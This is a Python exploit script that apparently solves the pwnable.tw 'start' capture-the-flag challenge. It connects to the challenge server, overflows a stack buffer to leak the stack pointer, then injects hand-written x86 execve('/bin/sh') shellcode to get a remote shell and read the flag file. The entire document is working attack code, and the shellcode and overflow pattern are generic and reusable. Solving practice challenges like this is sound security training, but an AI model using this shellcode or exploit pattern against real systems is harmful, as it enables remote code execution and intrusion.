50 lines
1.3 KiB
Python
50 lines
1.3 KiB
Python
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import socket
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import binascii
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import struct
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def opcodify(hexstr):
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return struct.pack('<I', hexstr)
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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sock.connect(('chall.pwnable.tw', 10000))
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# sock.connect(('localhost', 5000))
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print('{}'.format(sock.recv(4096)))
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print('Fetching ESP')
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buff = b'hack' * 5 # 20 chars
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buff += opcodify(0x08048087)
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print('Sending: {}'.format(buff))
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sock.send(buff)
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outp = sock.recv(4096)
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esp, = struct.unpack('<I', outp[:4])
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print('ESP: {}'.format(hex(esp)))
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print('Launching shell')
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buff = b'hack' * 5
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buff += opcodify(esp+20)
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buff += binascii.unhexlify('31C0') # xor eax,eax
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buff += binascii.unhexlify('50') # push eax
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buff += binascii.unhexlify('682F2F7368') # push dword 0x68732f2f
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buff += binascii.unhexlify('682F62696E') # push dword 0x6e69622f
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buff += binascii.unhexlify('89E3') # mov ebx,esp
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buff += binascii.unhexlify('50') # push eax
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buff += binascii.unhexlify('53') # push ebx
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buff += binascii.unhexlify('89E1') # mov ecx,esp
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buff += binascii.unhexlify('B00B') # mov al,0xb
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buff += binascii.unhexlify('31D2') # xor edx,edx
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buff += binascii.unhexlify('CD80') # int 0x80
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print('Sending: {}'.format(buff))
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sock.send(buff)
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print('Fetching CTF flag')
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sock.send(b'cat /home/start/flag\n')
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print(sock.recv(4096).decode())
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sock.close()
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